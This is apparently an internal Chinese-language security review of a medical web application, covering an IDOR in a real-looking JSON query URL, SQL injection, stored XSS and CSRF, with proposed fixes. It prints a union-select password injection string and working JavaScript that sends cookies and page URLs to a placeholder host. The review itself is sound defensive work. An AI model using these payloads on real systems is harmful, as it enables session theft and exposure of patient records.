[关闭]
@sqzrcc 2015-05-04T08:16:14.000000Z 字数 4191 阅读 1510

项目中安全的问题


itable导致的sql注入

目前项目中大量的表格都是通过itable来请求Json接口来进行读取数据展示,涉及到几个问题

大部分逻辑操作都在js中,用户可任意更改:

运行流程:

itable 初始化流程:
定义好一个table,在code处指定要执行的sql代码(在后台配置),itable初始化时去Json接口读取数据来进行展示
在随诊处,读取当前医生的所有随诊:

  1. <table id="followup_table" class="table table-striped"
  2. model="PhrFollowUp" code="phrFollowUp" search="true" refresh="true"
  3. edit="true" remove="true" pageSize=10>
  4. <thead>
  5. <tr>
  6. <th field="id" style="display: none;">ID</th>
  7. <th field="personName">姓名</th>
  8. <th field="diagnosis">诊断</th>
  9. <th field="startdate">发起时间</th>
  10. <th field="status" select="true">完成状态</th>
  11. <th field="enddate">完成时间</th>
  12. <th type="render" render="contentTemName">随诊内容</th>
  13. <th type="render" render="programTemName">指导方案</th>
  14. <th field="followupTime">随诊频率</th>
  15. <th field="tipss">提醒方式</th>
  16. <th type="edit">操作</th>
  17. </tr>
  18. </thead>
  19. </table>

然后通过js去初始化这个table:

  1. var followup_table = new iTables("#followup_table", {
  2. doctorId: loginId // 传入当前登陆的用户
  3. }, function () {
  4. });

对应的会去搜索在后台配置的code为phrFollowUp的sql语句:

  1. select t.*,to_char(trunc (t.start_date),'yyyy-mm-dd') as startdate,to_char(trunc (t.end_date),'yyyy-mm-dd') as enddate,e.name as doctor_name,p.name as
  2. person_name,m1.name as content_tem_name,m2.name as program_tem_name
  3. from phr_follow_up t
  4. left join md_employee e on e.id = t.doctor_id
  5. left join md_person p on p.id = t.md_person_id
  6. left join emr_template m1 on m1.id = t.content_tem_id
  7. left join emr_template m2 on m2.id = t.program_tem_id
  8. where t.doctor_id != '0'

然后会自动拼接条件:

  1. where t.doctor_id = 4 // js中传入进来的id

存在的问题:

由于大部分操作都在js中去操作,js又是运行在用户游览器上的,用户可以任意去修改代码,或者抓包查看itable的请求来达到读取任意医生的信息:
一个正常合法的接口请求:

  1. http://www.oijiankang.com//crud/json!query?config.sqlCode=phrPersonAction&doctorId=4

用户可以任意修改doctorId的值来达到获取任意医生的信息
一个非法的请求

  1. http://www.oijiankang.com//crud/json!query?config.sqlCode=phrPersonAction&doctorId=5 // 或者 6 7 8 9 就可以读取对应医生的随诊信息

等等...
由于是统一接口,甚至可以未登陆就进行接口的请求,或者一个居民的权限,也能进行请求.
由于在curd/json中有些参数还可以自己传sql过去执行,导致一个sql注入的问题,正常的sql:

  1. select * from md_person where id = 4 //(where id = 4)是由前台传过来的
  2. //如果传过来的是(where id = 4 union select password from admin)

更多的gbk宽字符注入... utf-8注入等..

解决办法

  1. 在接口处进行过滤(权限判断),但存在的问题如下:
    • sqlcode 是用户自己添加的sql,无法知道具体的sql是要什么权限来进行运行
    • 关于传入的参数,统一接口没办法知道你具体需要什么参数,可能有些地方需要账户id,有些地方又需要基本信息id,甚至其他信息
  2. 所有的itable都去请求Action,Action处理好所有数据后返回给用户,用户无法操作Action中的属性(比如获取当前医生的病人列表,目前的做法是通过统一的接口去执行sql语句,通过http(/crud/json!query?config.sqlcode=getPatients&doctorId=5),这样就拿到医生id为5的病人了.用户可以任意的去修改doctorid的值),如果交给action中,通过REST API GET /patients在Action中再去读取当前登陆的医生id,但存在的问题:
    • 工作量过大,所有使用接口的地方都必须废弃
    • 需要对itable底层进行彻底的修改
  3. 所有的数据都由后台处理好以后,再显示。目前的流程: 定义好table -> 初始化table -> table通过接口去取数据套上 。修改成: Action解析jsp中就去把table的数据就给套上,这样做的好处:
    • 会非常灵活,基本能适应所有需求
    • 效率会高,在itable中如果遇到一条sql语句无法取完数据的时候,需要去通过render(单独写一个方法去处理此单元格的数据)去获取。一个简单的例子: 要读取一个团队中拥有的所有病人,如果这个逻辑比较复杂.我们通过定义render 每一行数据都带上自己的团队id 去请求一个 GET /getTeamNumber?teamId=5如果有100个团队,在初始化这个的时候会去请求一百次读取团队人数的请求,开销非常大,如果交给Action,可以通过关联关系一条sql语句查询出来,然后一个用struts2的标签一个size属性就能取出
      缺点:
    • 还是修改量会非常大,基本会废弃掉itable
    • 可能需要修改数据库持久化(目前没有关联关系的自动处理)

xss漏洞

利用方式

在编辑或者新增的地方插入js代码:
插入xss
代码会直接被执行:
代码执行
这只会弹一个alert框,如果我们这样写:

  1. 刘宇<script src='http://xxx/1.js'></script>

这样游览器就会去加载http://xxx/1.js代码去执行.在1.js里面 就可以写很多操作:

  1. (function() { (new Image()).src = 'http://xxx?location=' + escape((function() {
  2. try {
  3. return document.location.href
  4. } catch(e) {
  5. return ''
  6. }
  7. })()) + '&toplocation=' + escape((function() {
  8. try {
  9. return top.location.href
  10. } catch(e) {
  11. return ''
  12. }
  13. })()) + '&cookie=' + escape((function() {
  14. try {
  15. return document.cookie
  16. } catch(e) {
  17. return ''
  18. }
  19. })()) + '&opener=' + escape((function() {
  20. try {
  21. return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
  22. } catch(e) {
  23. return ''
  24. }
  25. })());
  26. })();
  27. if ('1' == 1) {
  28. keep = new Image();
  29. keep.src = 'http://xxxx?url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
  30. };

去构造一个图片.. 加载到网站上..js可以读取到你本地的cookie,然后拼接成一个图片链接,图片的url为:

  1. ttp://xxx?url=你的cookie // xxx为我的网站,当执行后,就插入到页面中,游览器会带上你的cookie信息去读取到图片,我在后台就能读取到用户的cookie

如果是用户反馈,反馈到后台,后台一执行js代码,对方就能拿到请求图片的地址,和图片中带上的cookie信息

解决办法:

对标签进行转移输出 < / " 等特殊符号,但在电子病历中会有这种正常的标签,比如<p> <img> <br>等,如果过滤后这些标签将会失效。这种称为富文本数据,解决的办法是写规则,判断是否有害.但由于js非常灵活,加上html5以后引入了非常多的特性.. <img onload=alert(/x/)> <img onerror=alert(/x/)> <img onfoce=alert(/xxx/)> ..... 非常多,要制作这个过滤器将花费不少的时间,还有对一些特殊编码,比如utf-8后会遇到截断的问题 ...还需要处理好%00 截断等各种问题

csrf

假设要发表一条微博:POST /webo ,然后把post内容传过去..如果有xss漏洞.用js去构造一个ajax..让被执行的用户通过ajax带上他自己的cookie去POST /weibo 这样用户在无知觉的情况下就发表了微博..如果是微博还好,但如果是后台管理员要新增管理员 删除管理员.. 或者直接知道后台某些地方能上传木马.直接ajax让管理员带上自己的cookie去后台上传木马.

解决办法:

给每个请求都带上token的东西. 比如我进入 /index 会生成一个token..在 POST /weibo的时候会把这个token给带上,后台判断token正确才让发,不正确就不让发..这样就可以解决csrf的问题

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注